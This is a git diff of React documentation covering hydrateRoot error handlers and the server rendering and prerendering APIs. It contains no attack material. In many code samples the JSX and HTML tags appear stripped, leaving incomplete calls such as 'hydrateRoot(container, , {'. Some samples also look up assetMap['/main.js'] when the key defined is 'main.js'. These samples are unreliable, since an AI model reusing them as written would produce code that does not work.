+ +It is uncommon to call [`root.render`](#root-render) on a hydrated root. Usually, you'll [update state](/reference/react/useState) inside one of the components instead. + +### Error logging in production {/*error-logging-in-production*/} + +By default, React will log all errors to the console. To implement your own error reporting, you can provide the optional error handler root options `onUncaughtError`, `onCaughtError` and `onRecoverableError`: + +```js [[1, 7, "onCaughtError"], [2, 7, "error", 1], [3, 7, "errorInfo"], [4, 11, "componentStack", 15]] +import { hydrateRoot } from "react-dom/client"; +import App from "./App.js"; +import { reportCaughtError } from "./reportError"; + +const container = document.getElementById("root"); +const root = hydrateRoot(container, , { + onCaughtError: (error, errorInfo) => { + if (error.message !== "Known error") { + reportCaughtError({ + error, + componentStack: errorInfo.componentStack, + }); + } + }, +}); +``` + +The onCaughtError option is a function called with two arguments: + +1. The error that was thrown. +2. An errorInfo object that contains the componentStack of the error. + +Together with `onUncaughtError` and `onRecoverableError`, you can implement your own error reporting system: + + + +```js src/reportError.js +function reportError({ type, error, errorInfo }) { + // The specific implementation is up to you. + // `console.error()` is only used for demonstration purposes. + console.error(type, error, "Component Stack: "); + console.error("Component Stack: ", errorInfo.componentStack); +} + +export function onCaughtErrorProd(error, errorInfo) { + if (error.message !== "Known error") { + reportError({ type: "Caught", error, errorInfo }); + } +} + +export function onUncaughtErrorProd(error, errorInfo) { + reportError({ type: "Uncaught", error, errorInfo }); +} + +export function onRecoverableErrorProd(error, errorInfo) { + reportError({ type: "Recoverable", error, errorInfo }); +} +``` + +```js src/index.js active +import { hydrateRoot } from "react-dom/client"; +import App from "./App.js"; +import { + onCaughtErrorProd, + onRecoverableErrorProd, + onUncaughtErrorProd, +} from "./reportError"; + +const container = document.getElementById("root"); +hydrateRoot(container, , { + // Keep in mind to remove these options in development to leverage + // React's default handlers or implement your own overlay for development. + // The handlers are only specfied unconditionally here for demonstration purposes. + onCaughtError: onCaughtErrorProd, + onRecoverableError: onRecoverableErrorProd, + onUncaughtError: onUncaughtErrorProd, +}); +``` + +```js src/App.js +import { Component, useState } from "react"; + +function Boom() { + foo.bar = "baz"; +} + +class ErrorBoundary extends Component { + state = { hasError: false }; + + static getDerivedStateFromError(error) { + return { hasError: true }; + } + + render() { + if (this.state.hasError) { + return

Something went wrong.

; + } + return this.props.children; + } +} + +export default function App() { + const [triggerUncaughtError, settriggerUncaughtError] = useState(false); + const [triggerCaughtError, setTriggerCaughtError] = useState(false); + + return ( + <> + + {triggerUncaughtError && } + + {triggerCaughtError && ( + + + + )} + + ); +} +``` + +```html public/index.html hidden + + + + My app + + + +
Server content before hydration.
+ + +``` +
+ +## Troubleshooting {/*troubleshooting*/} + + +### I'm getting an error: "You passed a second argument to root.render" {/*im-getting-an-error-you-passed-a-second-argument-to-root-render*/} + +A common mistake is to pass the options for `hydrateRoot` to `root.render(...)`: + + + +Warning: You passed a second argument to root.render(...) but it only accepts one argument. + + + +To fix, pass the root options to `hydrateRoot(...)`, not `root.render(...)`: +```js {2,5} +// 🚩 Wrong: root.render only takes one argument. +root.render(App, {onUncaughtError}); + +// ✅ Correct: pass options to createRoot. +const root = hydrateRoot(container, , {onUncaughtError}); +``` diff --git a/src/content/reference/react-dom/index.md b/src/content/reference/react-dom/index.md index 6f1188442ab..1d907cedb3e 100644 --- a/src/content/reference/react-dom/index.md +++ b/src/content/reference/react-dom/index.md @@ -1,59 +1,59 @@ ---- -title: React DOM APIs ---- - - - -The `react-dom` package contains methods that are only supported for the web applications (which run in the browser DOM environment). They are not supported for React Native. - - - ---- - -## APIs {/*apis*/} - -These APIs can be imported from your components. They are rarely used: - -* [`createPortal`](/reference/react-dom/createPortal) lets you render child components in a different part of the DOM tree. -* [`flushSync`](/reference/react-dom/flushSync) lets you force React to flush a state update and update the DOM synchronously. - -## Resource Preloading APIs {/*resource-preloading-apis*/} - -These APIs can be used to make apps faster by pre-loading resources such as scripts, stylesheets, and fonts as soon as you know you need them, for example before navigating to another page where the resources will be used. - -[React-based frameworks](/learn/creating-a-react-app) frequently handle resource loading for you, so you might not have to call these APIs yourself. Consult your framework's documentation for details. - -* [`prefetchDNS`](/reference/react-dom/prefetchDNS) lets you prefetch the IP address of a DNS domain name that you expect to connect to. -* [`preconnect`](/reference/react-dom/preconnect) lets you connect to a server you expect to request resources from, even if you don't know what resources you'll need yet. -* [`preload`](/reference/react-dom/preload) lets you fetch a stylesheet, font, image, or external script that you expect to use. -* [`preloadModule`](/reference/react-dom/preloadModule) lets you fetch an ESM module that you expect to use. -* [`preinit`](/reference/react-dom/preinit) lets you fetch and evaluate an external script or fetch and insert a stylesheet. -* [`preinitModule`](/reference/react-dom/preinitModule) lets you fetch and evaluate an ESM module. - -## Server Rendering APIs {/*server-rendering-apis*/} - -This API controls how components render on the server: - -* [`browser`](/reference/react-dom/browser) lets you mark a component as browser-only during server rendering. - ---- - -## Entry points {/*entry-points*/} - -The `react-dom` package provides two additional entry points: - -* [`react-dom/client`](/reference/react-dom/client) contains APIs to render React components on the client (in the browser). -* [`react-dom/server`](/reference/react-dom/server) contains APIs to render React components on the server. - ---- - -## Removed APIs {/*removed-apis*/} - -These APIs were removed in React 19: - -* [`findDOMNode`](https://18.react.dev/reference/react-dom/findDOMNode): see [alternatives](https://18.react.dev/reference/react-dom/findDOMNode#alternatives). -* [`hydrate`](https://18.react.dev/reference/react-dom/hydrate): use [`hydrateRoot`](/reference/react-dom/client/hydrateRoot) instead. -* [`render`](https://18.react.dev/reference/react-dom/render): use [`createRoot`](/reference/react-dom/client/createRoot) instead. -* [`unmountComponentAtNode`](/reference/react-dom/unmountComponentAtNode): use [`root.unmount()`](/reference/react-dom/client/createRoot#root-unmount) instead. -* [`renderToNodeStream`](https://18.react.dev/reference/react-dom/server/renderToNodeStream): use [`react-dom/server`](/reference/react-dom/server) APIs instead. -* [`renderToStaticNodeStream`](https://18.react.dev/reference/react-dom/server/renderToStaticNodeStream): use [`react-dom/server`](/reference/react-dom/server) APIs instead. +--- +title: React DOM APIs +--- + + + +The `react-dom` package contains methods that are only supported for the web applications (which run in the browser DOM environment). They are not supported for React Native. + + + +--- + +## APIs {/*apis*/} + +These APIs can be imported from your components. They are rarely used: + +* [`createPortal`](/reference/react-dom/createPortal) lets you render child components in a different part of the DOM tree. +* [`flushSync`](/reference/react-dom/flushSync) lets you force React to flush a state update and update the DOM synchronously. + +## Resource Preloading APIs {/*resource-preloading-apis*/} + +These APIs can be used to make apps faster by pre-loading resources such as scripts, stylesheets, and fonts as soon as you know you need them, for example before navigating to another page where the resources will be used. + +[React-based frameworks](/learn/creating-a-react-app) frequently handle resource loading for you, so you might not have to call these APIs yourself. Consult your framework's documentation for details. + +* [`prefetchDNS`](/reference/react-dom/prefetchDNS) lets you prefetch the IP address of a DNS domain name that you expect to connect to. +* [`preconnect`](/reference/react-dom/preconnect) lets you connect to a server you expect to request resources from, even if you don't know what resources you'll need yet. +* [`preload`](/reference/react-dom/preload) lets you fetch a stylesheet, font, image, or external script that you expect to use. +* [`preloadModule`](/reference/react-dom/preloadModule) lets you fetch an ESM module that you expect to use. +* [`preinit`](/reference/react-dom/preinit) lets you fetch and evaluate an external script or fetch and insert a stylesheet. +* [`preinitModule`](/reference/react-dom/preinitModule) lets you fetch and evaluate an ESM module. + +## Server Rendering APIs {/*server-rendering-apis*/} + +This API controls how components render on the server: + +* [`browser`](/reference/react-dom/browser) lets you mark a component as browser-only during server rendering. + +--- + +## Entry points {/*entry-points*/} + +The `react-dom` package provides two additional entry points: + +* [`react-dom/client`](/reference/react-dom/client) contains APIs to render React components on the client (in the browser). +* [`react-dom/server`](/reference/react-dom/server) contains APIs to render React components on the server. + +--- + +## Removed APIs {/*removed-apis*/} + +These APIs were removed in React 19: + +* [`findDOMNode`](https://18.react.dev/reference/react-dom/findDOMNode): see [alternatives](https://18.react.dev/reference/react-dom/findDOMNode#alternatives). +* [`hydrate`](https://18.react.dev/reference/react-dom/hydrate): use [`hydrateRoot`](/reference/react-dom/client/hydrateRoot) instead. +* [`render`](https://18.react.dev/reference/react-dom/render): use [`createRoot`](/reference/react-dom/client/createRoot) instead. +* [`unmountComponentAtNode`](/reference/react-dom/unmountComponentAtNode): use [`root.unmount()`](/reference/react-dom/client/createRoot#root-unmount) instead. +* [`renderToNodeStream`](https://18.react.dev/reference/react-dom/server/renderToNodeStream): use [`react-dom/server`](/reference/react-dom/server) APIs instead. +* [`renderToStaticNodeStream`](https://18.react.dev/reference/react-dom/server/renderToStaticNodeStream): use [`react-dom/server`](/reference/react-dom/server) APIs instead. diff --git a/src/content/reference/react-dom/server/index.md b/src/content/reference/react-dom/server/index.md index aa5d3709087..4f7ff99dc00 100644 --- a/src/content/reference/react-dom/server/index.md +++ b/src/content/reference/react-dom/server/index.md @@ -1,44 +1,44 @@ ---- -title: Server React DOM APIs ---- - - - -The `react-dom/server` APIs let you server-side render React components to HTML. These APIs are only used on the server at the top level of your app to generate the initial HTML. A [framework](/learn/creating-a-react-app#full-stack-frameworks) may call them for you. Most of your components don't need to import or use them. - - - ---- - -## Server APIs for Web Streams {/*server-apis-for-web-streams*/} - -These methods are only available in the environments with [Web Streams](https://developer.mozilla.org/en-US/docs/Web/API/Streams_API), which includes browsers, Deno, and some modern edge runtimes: - -* [`renderToReadableStream`](/reference/react-dom/server/renderToReadableStream) renders a React tree to a [Readable Web Stream.](https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream) -* [`resume`](/reference/react-dom/server/resume) resumes [`prerender`](/reference/react-dom/static/prerender) to a [Readable Web Stream](https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream). - - - - -Node.js also includes these methods for compatibility, but they are not recommended due to worse performance. Use the [dedicated Node.js APIs](#server-apis-for-nodejs-streams) instead. - - ---- - -## Server APIs for Node.js Streams {/*server-apis-for-nodejs-streams*/} - -These methods are only available in the environments with [Node.js Streams:](https://nodejs.org/api/stream.html) - -* [`renderToPipeableStream`](/reference/react-dom/server/renderToPipeableStream) renders a React tree to a pipeable [Node.js Stream.](https://nodejs.org/api/stream.html) -* [`resumeToPipeableStream`](/reference/react-dom/server/resumeToPipeableStream) resumes [`prerenderToNodeStream`](/reference/react-dom/static/prerenderToNodeStream) to a pipeable [Node.js Stream.](https://nodejs.org/api/stream.html) - ---- - -## Legacy Server APIs for non-streaming environments {/*legacy-server-apis-for-non-streaming-environments*/} - -These methods can be used in the environments that don't support streams: - -* [`renderToString`](/reference/react-dom/server/renderToString) renders a React tree to a string. -* [`renderToStaticMarkup`](/reference/react-dom/server/renderToStaticMarkup) renders a non-interactive React tree to a string. - -They have limited functionality compared to the streaming APIs. +--- +title: Server React DOM APIs +--- + + + +The `react-dom/server` APIs let you server-side render React components to HTML. These APIs are only used on the server at the top level of your app to generate the initial HTML. A [framework](/learn/creating-a-react-app#full-stack-frameworks) may call them for you. Most of your components don't need to import or use them. + + + +--- + +## Server APIs for Web Streams {/*server-apis-for-web-streams*/} + +These methods are only available in the environments with [Web Streams](https://developer.mozilla.org/en-US/docs/Web/API/Streams_API), which includes browsers, Deno, and some modern edge runtimes: + +* [`renderToReadableStream`](/reference/react-dom/server/renderToReadableStream) renders a React tree to a [Readable Web Stream.](https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream) +* [`resume`](/reference/react-dom/server/resume) resumes [`prerender`](/reference/react-dom/static/prerender) to a [Readable Web Stream](https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream). + + + + +Node.js also includes these methods for compatibility, but they are not recommended due to worse performance. Use the [dedicated Node.js APIs](#server-apis-for-nodejs-streams) instead. + + +--- + +## Server APIs for Node.js Streams {/*server-apis-for-nodejs-streams*/} + +These methods are only available in the environments with [Node.js Streams:](https://nodejs.org/api/stream.html) + +* [`renderToPipeableStream`](/reference/react-dom/server/renderToPipeableStream) renders a React tree to a pipeable [Node.js Stream.](https://nodejs.org/api/stream.html) +* [`resumeToPipeableStream`](/reference/react-dom/server/resumeToPipeableStream) resumes [`prerenderToNodeStream`](/reference/react-dom/static/prerenderToNodeStream) to a pipeable [Node.js Stream.](https://nodejs.org/api/stream.html) + +--- + +## Legacy Server APIs for non-streaming environments {/*legacy-server-apis-for-non-streaming-environments*/} + +These methods can be used in the environments that don't support streams: + +* [`renderToString`](/reference/react-dom/server/renderToString) renders a React tree to a string. +* [`renderToStaticMarkup`](/reference/react-dom/server/renderToStaticMarkup) renders a non-interactive React tree to a string. + +They have limited functionality compared to the streaming APIs. diff --git a/src/content/reference/react-dom/server/renderToPipeableStream.md b/src/content/reference/react-dom/server/renderToPipeableStream.md index 7535ebeacfd..425990a244d 100644 --- a/src/content/reference/react-dom/server/renderToPipeableStream.md +++ b/src/content/reference/react-dom/server/renderToPipeableStream.md @@ -1,603 +1,603 @@ ---- -title: renderToPipeableStream ---- - - - -`renderToPipeableStream` renders a React tree to a pipeable [Node.js Stream.](https://nodejs.org/api/stream.html) - -```js -const { pipe, abort } = renderToPipeableStream(reactNode, options?) -``` - - - - - - - -This API is specific to Node.js. Environments with [Web Streams,](https://developer.mozilla.org/en-US/docs/Web/API/Streams_API) like Deno and modern edge runtimes, should use [`renderToReadableStream`](/reference/react-dom/server/renderToReadableStream) instead. - - - ---- - -## Reference {/*reference*/} - -### `renderToPipeableStream(reactNode, options?)` {/*rendertopipeablestream*/} - -Call `renderToPipeableStream` to render your React tree as HTML into a [Node.js Stream.](https://nodejs.org/api/stream.html#writable-streams) - -```js -import { renderToPipeableStream } from 'react-dom/server'; - -const { pipe } = renderToPipeableStream(, { - bootstrapScripts: ['/main.js'], - onShellReady() { - response.setHeader('content-type', 'text/html'); - pipe(response); - } -}); -``` - -On the client, call [`hydrateRoot`](/reference/react-dom/client/hydrateRoot) to make the server-generated HTML interactive. - -[See more examples below.](#usage) - -#### Parameters {/*parameters*/} - -* `reactNode`: A React node you want to render to HTML. For example, a JSX element like ``. It is expected to represent the entire document, so the `App` component should render the `` tag. - -* **optional** `options`: An object with streaming options. - * **optional** `bootstrapScriptContent`: If specified, this string will be placed in an inline ` -``` - -On the client, your bootstrap script should [hydrate the entire `document` with a call to `hydrateRoot`:](/reference/react-dom/client/hydrateRoot#hydrating-an-entire-document) - -```js [[1, 4, ""]] -import { hydrateRoot } from 'react-dom/client'; -import App from './App.js'; - -hydrateRoot(document, ); -``` - -This will attach event listeners to the server-generated HTML and make it interactive. - - - -#### Reading CSS and JS asset paths from the build output {/*reading-css-and-js-asset-paths-from-the-build-output*/} - -The final asset URLs (like JavaScript and CSS files) are often hashed after the build. For example, instead of `styles.css` you might end up with `styles.123456.css`. Hashing static asset filenames guarantees that every distinct build of the same asset will have a different filename. This is useful because it lets you safely enable long-term caching for static assets: a file with a certain name would never change content. - -However, if you don't know the asset URLs until after the build, there's no way for you to put them in the source code. For example, hardcoding `"/styles.css"` into JSX like earlier wouldn't work. To keep them out of your source code, your root component can read the real filenames from a map passed as a prop: - -```js {1,6} -export default function App({ assetMap }) { - return ( - - - ... - - ... - - ... - - ); -} -``` - -On the server, render `` and pass your `assetMap` with the asset URLs: - -```js {1-5,8,9} -// You'd need to get this JSON from your build tooling, e.g. read it from the build output. -const assetMap = { - 'styles.css': '/styles.123456.css', - 'main.js': '/main.123456.js' -}; - -app.use('/', (request, response) => { - const { pipe } = renderToPipeableStream(, { - bootstrapScripts: [assetMap['main.js']], - onShellReady() { - response.setHeader('content-type', 'text/html'); - pipe(response); - } - }); -}); -``` - -Since your server is now rendering ``, you need to render it with `assetMap` on the client too to avoid hydration errors. You can serialize and pass `assetMap` to the client like this: - -```js {9-10} -// You'd need to get this JSON from your build tooling. -const assetMap = { - 'styles.css': '/styles.123456.css', - 'main.js': '/main.123456.js' -}; - -app.use('/', (request, response) => { - const { pipe } = renderToPipeableStream(, { - // Careful: It's safe to stringify() this because this data isn't user-generated. - bootstrapScriptContent: `window.assetMap = ${JSON.stringify(assetMap)};`, - bootstrapScripts: [assetMap['main.js']], - onShellReady() { - response.setHeader('content-type', 'text/html'); - pipe(response); - } - }); -}); -``` - -In the example above, the `bootstrapScriptContent` option adds an extra inline ` +``` + +On the client, your bootstrap script should [hydrate the entire `document` with a call to `hydrateRoot`:](/reference/react-dom/client/hydrateRoot#hydrating-an-entire-document) + +```js [[1, 4, ""]] +import { hydrateRoot } from 'react-dom/client'; +import App from './App.js'; + +hydrateRoot(document, ); +``` + +This will attach event listeners to the server-generated HTML and make it interactive. + + + +#### Reading CSS and JS asset paths from the build output {/*reading-css-and-js-asset-paths-from-the-build-output*/} + +The final asset URLs (like JavaScript and CSS files) are often hashed after the build. For example, instead of `styles.css` you might end up with `styles.123456.css`. Hashing static asset filenames guarantees that every distinct build of the same asset will have a different filename. This is useful because it lets you safely enable long-term caching for static assets: a file with a certain name would never change content. + +However, if you don't know the asset URLs until after the build, there's no way for you to put them in the source code. For example, hardcoding `"/styles.css"` into JSX like earlier wouldn't work. To keep them out of your source code, your root component can read the real filenames from a map passed as a prop: + +```js {1,6} +export default function App({ assetMap }) { + return ( + + + ... + + ... + + ... + + ); +} +``` + +On the server, render `` and pass your `assetMap` with the asset URLs: + +```js {1-5,8,9} +// You'd need to get this JSON from your build tooling, e.g. read it from the build output. +const assetMap = { + 'styles.css': '/styles.123456.css', + 'main.js': '/main.123456.js' +}; + +app.use('/', (request, response) => { + const { pipe } = renderToPipeableStream(, { + bootstrapScripts: [assetMap['main.js']], + onShellReady() { + response.setHeader('content-type', 'text/html'); + pipe(response); + } + }); +}); +``` + +Since your server is now rendering ``, you need to render it with `assetMap` on the client too to avoid hydration errors. You can serialize and pass `assetMap` to the client like this: + +```js {9-10} +// You'd need to get this JSON from your build tooling. +const assetMap = { + 'styles.css': '/styles.123456.css', + 'main.js': '/main.123456.js' +}; + +app.use('/', (request, response) => { + const { pipe } = renderToPipeableStream(, { + // Careful: It's safe to stringify() this because this data isn't user-generated. + bootstrapScriptContent: `window.assetMap = ${JSON.stringify(assetMap)};`, + bootstrapScripts: [assetMap['main.js']], + onShellReady() { + response.setHeader('content-type', 'text/html'); + pipe(response); + } + }); +}); +``` + +In the example above, the `bootstrapScriptContent` option adds an extra inline ` -``` - -On the client, your bootstrap script should [hydrate the entire `document` with a call to `hydrateRoot`:](/reference/react-dom/client/hydrateRoot#hydrating-an-entire-document) - -```js [[1, 4, ""]] -import { hydrateRoot } from 'react-dom/client'; -import App from './App.js'; - -hydrateRoot(document, ); -``` - -This will attach event listeners to the server-generated HTML and make it interactive. - - - -#### Reading CSS and JS asset paths from the build output {/*reading-css-and-js-asset-paths-from-the-build-output*/} - -The final asset URLs (like JavaScript and CSS files) are often hashed after the build. For example, instead of `styles.css` you might end up with `styles.123456.css`. Hashing static asset filenames guarantees that every distinct build of the same asset will have a different filename. This is useful because it lets you safely enable long-term caching for static assets: a file with a certain name would never change content. - -However, if you don't know the asset URLs until after the build, there's no way for you to put them in the source code. For example, hardcoding `"/styles.css"` into JSX like earlier wouldn't work. To keep them out of your source code, your root component can read the real filenames from a map passed as a prop: - -```js {1,6} -export default function App({ assetMap }) { - return ( - - - My app - - - ... - - ); -} -``` - -On the server, render `` and pass your `assetMap` with the asset URLs: - -```js {1-5,8,9} -// You'd need to get this JSON from your build tooling, e.g. read it from the build output. -const assetMap = { - 'styles.css': '/styles.123456.css', - 'main.js': '/main.123456.js' -}; - -async function handler(request) { - const stream = await renderToReadableStream(, { - bootstrapScripts: [assetMap['/main.js']] - }); - return new Response(stream, { - headers: { 'content-type': 'text/html' }, - }); -} -``` - -Since your server is now rendering ``, you need to render it with `assetMap` on the client too to avoid hydration errors. You can serialize and pass `assetMap` to the client like this: - -```js {9-10} -// You'd need to get this JSON from your build tooling. -const assetMap = { - 'styles.css': '/styles.123456.css', - 'main.js': '/main.123456.js' -}; - -async function handler(request) { - const stream = await renderToReadableStream(, { - // Careful: It's safe to stringify() this because this data isn't user-generated. - bootstrapScriptContent: `window.assetMap = ${JSON.stringify(assetMap)};`, - bootstrapScripts: [assetMap['/main.js']], - }); - return new Response(stream, { - headers: { 'content-type': 'text/html' }, - }); -} -``` - -In the example above, the `bootstrapScriptContent` option adds an extra inline ` +``` + +On the client, your bootstrap script should [hydrate the entire `document` with a call to `hydrateRoot`:](/reference/react-dom/client/hydrateRoot#hydrating-an-entire-document) + +```js [[1, 4, ""]] +import { hydrateRoot } from 'react-dom/client'; +import App from './App.js'; + +hydrateRoot(document, ); +``` + +This will attach event listeners to the server-generated HTML and make it interactive. + + + +#### Reading CSS and JS asset paths from the build output {/*reading-css-and-js-asset-paths-from-the-build-output*/} + +The final asset URLs (like JavaScript and CSS files) are often hashed after the build. For example, instead of `styles.css` you might end up with `styles.123456.css`. Hashing static asset filenames guarantees that every distinct build of the same asset will have a different filename. This is useful because it lets you safely enable long-term caching for static assets: a file with a certain name would never change content. + +However, if you don't know the asset URLs until after the build, there's no way for you to put them in the source code. For example, hardcoding `"/styles.css"` into JSX like earlier wouldn't work. To keep them out of your source code, your root component can read the real filenames from a map passed as a prop: + +```js {1,6} +export default function App({ assetMap }) { + return ( + + + My app + + + ... + + ); +} +``` + +On the server, render `` and pass your `assetMap` with the asset URLs: + +```js {1-5,8,9} +// You'd need to get this JSON from your build tooling, e.g. read it from the build output. +const assetMap = { + 'styles.css': '/styles.123456.css', + 'main.js': '/main.123456.js' +}; + +async function handler(request) { + const stream = await renderToReadableStream(, { + bootstrapScripts: [assetMap['/main.js']] + }); + return new Response(stream, { + headers: { 'content-type': 'text/html' }, + }); +} +``` + +Since your server is now rendering ``, you need to render it with `assetMap` on the client too to avoid hydration errors. You can serialize and pass `assetMap` to the client like this: + +```js {9-10} +// You'd need to get this JSON from your build tooling. +const assetMap = { + 'styles.css': '/styles.123456.css', + 'main.js': '/main.123456.js' +}; + +async function handler(request) { + const stream = await renderToReadableStream(, { + // Careful: It's safe to stringify() this because this data isn't user-generated. + bootstrapScriptContent: `window.assetMap = ${JSON.stringify(assetMap)};`, + bootstrapScripts: [assetMap['/main.js']], + }); + return new Response(stream, { + headers: { 'content-type': 'text/html' }, + }); +} +``` + +In the example above, the `bootstrapScriptContent` option adds an extra inline ` -``` - -On the client, your bootstrap script should [hydrate the entire `document` with a call to `hydrateRoot`:](/reference/react-dom/client/hydrateRoot#hydrating-an-entire-document) - -```js [[1, 4, ""]] -import { hydrateRoot } from 'react-dom/client'; -import App from './App.js'; - -hydrateRoot(document, ); -``` - -This will attach event listeners to the static server-generated HTML and make it interactive. - - - -#### Reading CSS and JS asset paths from the build output {/*reading-css-and-js-asset-paths-from-the-build-output*/} - -The final asset URLs (like JavaScript and CSS files) are often hashed after the build. For example, instead of `styles.css` you might end up with `styles.123456.css`. Hashing static asset filenames guarantees that every distinct build of the same asset will have a different filename. This is useful because it lets you safely enable long-term caching for static assets: a file with a certain name would never change content. - -However, if you don't know the asset URLs until after the build, there's no way for you to put them in the source code. For example, hardcoding `"/styles.css"` into JSX like earlier wouldn't work. To keep them out of your source code, your root component can read the real filenames from a map passed as a prop: - -```js {1,6} -export default function App({ assetMap }) { - return ( - - - My app - - - ... - - ); -} -``` - -On the server, render `` and pass your `assetMap` with the asset URLs: - -```js {1-5,8,9} -// You'd need to get this JSON from your build tooling, e.g. read it from the build output. -const assetMap = { - 'styles.css': '/styles.123456.css', - 'main.js': '/main.123456.js' -}; - -async function handler(request) { - const {prelude} = await prerender(, { - bootstrapScripts: [assetMap['/main.js']] - }); - return new Response(prelude, { - headers: { 'content-type': 'text/html' }, - }); -} -``` - -Since your server is now rendering ``, you need to render it with `assetMap` on the client too to avoid hydration errors. You can serialize and pass `assetMap` to the client like this: - -```js {9-10} -// You'd need to get this JSON from your build tooling. -const assetMap = { - 'styles.css': '/styles.123456.css', - 'main.js': '/main.123456.js' -}; - -async function handler(request) { - const {prelude} = await prerender(, { - // Careful: It's safe to stringify() this because this data isn't user-generated. - bootstrapScriptContent: `window.assetMap = ${JSON.stringify(assetMap)};`, - bootstrapScripts: [assetMap['/main.js']], - }); - return new Response(prelude, { - headers: { 'content-type': 'text/html' }, - }); -} -``` - -In the example above, the `bootstrapScriptContent` option adds an extra inline ` +``` + +On the client, your bootstrap script should [hydrate the entire `document` with a call to `hydrateRoot`:](/reference/react-dom/client/hydrateRoot#hydrating-an-entire-document) + +```js [[1, 4, ""]] +import { hydrateRoot } from 'react-dom/client'; +import App from './App.js'; + +hydrateRoot(document, ); +``` + +This will attach event listeners to the static server-generated HTML and make it interactive. + + + +#### Reading CSS and JS asset paths from the build output {/*reading-css-and-js-asset-paths-from-the-build-output*/} + +The final asset URLs (like JavaScript and CSS files) are often hashed after the build. For example, instead of `styles.css` you might end up with `styles.123456.css`. Hashing static asset filenames guarantees that every distinct build of the same asset will have a different filename. This is useful because it lets you safely enable long-term caching for static assets: a file with a certain name would never change content. + +However, if you don't know the asset URLs until after the build, there's no way for you to put them in the source code. For example, hardcoding `"/styles.css"` into JSX like earlier wouldn't work. To keep them out of your source code, your root component can read the real filenames from a map passed as a prop: + +```js {1,6} +export default function App({ assetMap }) { + return ( + + + My app + + + ... + + ); +} +``` + +On the server, render `` and pass your `assetMap` with the asset URLs: + +```js {1-5,8,9} +// You'd need to get this JSON from your build tooling, e.g. read it from the build output. +const assetMap = { + 'styles.css': '/styles.123456.css', + 'main.js': '/main.123456.js' +}; + +async function handler(request) { + const {prelude} = await prerender(, { + bootstrapScripts: [assetMap['/main.js']] + }); + return new Response(prelude, { + headers: { 'content-type': 'text/html' }, + }); +} +``` + +Since your server is now rendering ``, you need to render it with `assetMap` on the client too to avoid hydration errors. You can serialize and pass `assetMap` to the client like this: + +```js {9-10} +// You'd need to get this JSON from your build tooling. +const assetMap = { + 'styles.css': '/styles.123456.css', + 'main.js': '/main.123456.js' +}; + +async function handler(request) { + const {prelude} = await prerender(, { + // Careful: It's safe to stringify() this because this data isn't user-generated. + bootstrapScriptContent: `window.assetMap = ${JSON.stringify(assetMap)};`, + bootstrapScripts: [assetMap['/main.js']], + }); + return new Response(prelude, { + headers: { 'content-type': 'text/html' }, + }); +} +``` + +In the example above, the `bootstrapScriptContent` option adds an extra inline ` -``` - -On the client, your bootstrap script should [hydrate the entire `document` with a call to `hydrateRoot`:](/reference/react-dom/client/hydrateRoot#hydrating-an-entire-document) - -```js [[1, 4, ""]] -import { hydrateRoot } from 'react-dom/client'; -import App from './App.js'; - -hydrateRoot(document, ); -``` - -This will attach event listeners to the static server-generated HTML and make it interactive. - - - -#### Reading CSS and JS asset paths from the build output {/*reading-css-and-js-asset-paths-from-the-build-output*/} - -The final asset URLs (like JavaScript and CSS files) are often hashed after the build. For example, instead of `styles.css` you might end up with `styles.123456.css`. Hashing static asset filenames guarantees that every distinct build of the same asset will have a different filename. This is useful because it lets you safely enable long-term caching for static assets: a file with a certain name would never change content. - -However, if you don't know the asset URLs until after the build, there's no way for you to put them in the source code. For example, hardcoding `"/styles.css"` into JSX like earlier wouldn't work. To keep them out of your source code, your root component can read the real filenames from a map passed as a prop: - -```js {1,6} -export default function App({ assetMap }) { - return ( - - - My app - - - ... - - ); -} -``` - -On the server, render `` and pass your `assetMap` with the asset URLs: - -```js {1-5,8,9} -// You'd need to get this JSON from your build tooling, e.g. read it from the build output. -const assetMap = { - 'styles.css': '/styles.123456.css', - 'main.js': '/main.123456.js' -}; - -app.use('/', async (request, response) => { - const { prelude } = await prerenderToNodeStream(, { - bootstrapScripts: [assetMap['/main.js']] - }); - - response.setHeader('Content-Type', 'text/html'); - prelude.pipe(response); -}); -``` - -Since your server is now rendering ``, you need to render it with `assetMap` on the client too to avoid hydration errors. You can serialize and pass `assetMap` to the client like this: - -```js {9-10} -// You'd need to get this JSON from your build tooling. -const assetMap = { - 'styles.css': '/styles.123456.css', - 'main.js': '/main.123456.js' -}; - -app.use('/', async (request, response) => { - const { prelude } = await prerenderToNodeStream(, { - // Careful: It's safe to stringify() this because this data isn't user-generated. - bootstrapScriptContent: `window.assetMap = ${JSON.stringify(assetMap)};`, - bootstrapScripts: [assetMap['/main.js']], - }); - - response.setHeader('Content-Type', 'text/html'); - prelude.pipe(response); -}); -``` - -In the example above, the `bootstrapScriptContent` option adds an extra inline ` +``` + +On the client, your bootstrap script should [hydrate the entire `document` with a call to `hydrateRoot`:](/reference/react-dom/client/hydrateRoot#hydrating-an-entire-document) + +```js [[1, 4, ""]] +import { hydrateRoot } from 'react-dom/client'; +import App from './App.js'; + +hydrateRoot(document, ); +``` + +This will attach event listeners to the static server-generated HTML and make it interactive. + + + +#### Reading CSS and JS asset paths from the build output {/*reading-css-and-js-asset-paths-from-the-build-output*/} + +The final asset URLs (like JavaScript and CSS files) are often hashed after the build. For example, instead of `styles.css` you might end up with `styles.123456.css`. Hashing static asset filenames guarantees that every distinct build of the same asset will have a different filename. This is useful because it lets you safely enable long-term caching for static assets: a file with a certain name would never change content. + +However, if you don't know the asset URLs until after the build, there's no way for you to put them in the source code. For example, hardcoding `"/styles.css"` into JSX like earlier wouldn't work. To keep them out of your source code, your root component can read the real filenames from a map passed as a prop: + +```js {1,6} +export default function App({ assetMap }) { + return ( + + + My app + + + ... + + ); +} +``` + +On the server, render `` and pass your `assetMap` with the asset URLs: + +```js {1-5,8,9} +// You'd need to get this JSON from your build tooling, e.g. read it from the build output. +const assetMap = { + 'styles.css': '/styles.123456.css', + 'main.js': '/main.123456.js' +}; + +app.use('/', async (request, response) => { + const { prelude } = await prerenderToNodeStream(, { + bootstrapScripts: [assetMap['/main.js']] + }); + + response.setHeader('Content-Type', 'text/html'); + prelude.pipe(response); +}); +``` + +Since your server is now rendering ``, you need to render it with `assetMap` on the client too to avoid hydration errors. You can serialize and pass `assetMap` to the client like this: + +```js {9-10} +// You'd need to get this JSON from your build tooling. +const assetMap = { + 'styles.css': '/styles.123456.css', + 'main.js': '/main.123456.js' +}; + +app.use('/', async (request, response) => { + const { prelude } = await 